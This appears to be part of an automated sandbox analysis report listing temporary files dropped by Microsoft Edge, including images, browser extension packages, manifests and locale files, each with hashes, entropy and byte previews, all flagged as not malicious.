SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5c708f62-09d3-4f9a-bd97-737e4ba9634d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\91c0b7d7-aecd-403e-afc9-4969434ad99f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\a18dfb7c-68e6-40dd-af39-48836a50a830.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\a6308168-846e-4d78-ae32-9ca54c532ee9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1524100
Entropy (8bit):	7.99088376239494
Encrypted:	true
SSDEEP:	24576:2hy1ciGHkqO1w1ABO0S8pzwmcYhXOqfJLr9TSJwWVj55yrEOUgT:Ey1cbHu1w1ADNpz/cYdO89r9T0jtOUc
MD5:	D12C52F12E33EDFD64E469129AE50D55
SHA1:	E73786548C447DF7D28AE3DA21DAB154A528ED2B
SHA-256:	A837C63A4C0C5E1686FC8120FD2DB1A8D7D3BD0A5A409A8BEDF7DF9B354019B4
SHA-512:	0C616F1D4A305E932468D9792D0462F07A83412E879BEF693173B430D34A57C27C5490A5A104B68D50E00179795D66F68A0DEBDB4E5C3923263A70460BFB13A2
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....bKGD............./IDATX..W}l.E..3..w.+..H.\|...D.%..M.Z5.I..&.Q....W.%.P..!.&.Q.."..0...H.Z.".....>Z....A.......m.....1..........{...A........<.-a.27j..... '.A.D...kVI.B..A...}..o:/...h<..E....M2r.0.PP<j.j..e]..>lh.(..?u.....KqB.7CP..8.D.a.$.%..??.iG.=+.~..2FH...\am;}...n......h~.H...........#KvW..w;.#.dc..1.JW.2...(...nu.Q0....,..H0..1)..[....^.P..r..;.`{.d........%...6.......@.."O.+"&zSym.,.Nn..L..pj.&K.Z.....yH=..R.P?.i..Td...Sb.%o.....w..R`.sOJIjQ.>...i.v....A.CD\|bfx....).o.g.....I....6...!....<.t\|"....PO<".:/+..>1.......R.o...@.../"y.",S.@...B..h...Z...P.>.......+...:z........7,:.....\|)C.p.H+`i..e).8...zA".$:Z.o.........j]].....K:.....ZI.. ....~..&........:]...w.md./zkT.Z..F........,."7\|.\|u..3....G.../7.oJ...*...7..~l......PY.HQ>..`$........2.{.....>( I,...h..I...N.y}=..VN.R.....IH..kp.V..\|Io.+k...Eb.ES>.E2......Z.._.I .q0..0.......F.&D.(D1.Q+.M...!z9.....#xV.p....nH....7....\t.w"`F...-

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2110
Entropy (8bit):	5.408288145550851
Encrypted:	false
SSDEEP:	48:Yzj57SnaJ57H57Uv5W1Sj5W175zuR5z+5zn071eDJk5c1903bj5jJp0gcU854Rr6:8e2Fa116uCntc5toYmkM
MD5:	5A48022228698258B79C91FA08002853
SHA1:	8A614E7709144549408136FB8C35FEB61F30925A
SHA-256:	C0F0453985F680DBCAFB6ECDA81681CF58764C14D977162AC057AEA075441F0A
SHA-512:	4C2FFBED4B1EC801969131CD8B27C1D6BFEE95BD0634DE2EBE3E666347E13CACE3924B516C600C7D9A932DB335264ED38F7AD5C5D42FE5768DEF02B3A40EFC68
Malicious:	false
Preview:	{"logTime": "1004/133448", "correlationVector":"vYS73lRT+EoO2Owh9jsc+Y","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"n/KhuHPhHmYXokB31+JZz7","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"fclQx26bUZO07waFEDe6Fn","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"0757l0tkKt37vNrdCKAm8w","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"uTRRkmbbqkgK/wPBCS4fct","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"2DrXipL1ngF91RN7IemK0e","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"d0GyjEgnW85fvDIojHVIXI","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"PvfzGWRutB/kmuXUK+c8XA","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"29CB75FBC4C942E0817A1F7A0E2CF647

C:\Users\user\AppData\Local\Temp\e2ea4a12-f6e8-42f1-ad73-f00ea561f929.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\e5ef11ce-e4cc-4b22-876c-5806573ecb50.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 41900
Category:	dropped
Size (bytes):	76321
Entropy (8bit):	7.996057445951542
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/iys3BBrYunau6wpGzxue:GdS8scZNzFrMa4M+lK5/nXexue
MD5:	D7A1AC56ED4F4D17DD0524C88892C56D
SHA1:	4153CA1A9A4FD0F781ECD5BA9D2A1E68C760ECD4
SHA-256:	0A29576C4002D863B0C5AE7A0B36C0BBEB0FB9AFD16B008451D4142C07E1FF2B
SHA-512:	31503F2F6831070E887EA104296E17EE755BB6BBFB1EF2A15371534BFA2D3F0CD53862389625CF498754B071885A53E1A7F82A3546275DB1F4588E0E80BF7BEE
Malicious:	false
Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\f3c650b4-379c-4c51-94f7-f133b593457a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\scoped_dir728_1699653336\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir728_1699653336\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir728_1699653336\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir728_1699653336\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir728_1699653336\e2ea4a12-f6e8-42f1-ad73-f00ea561f929.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
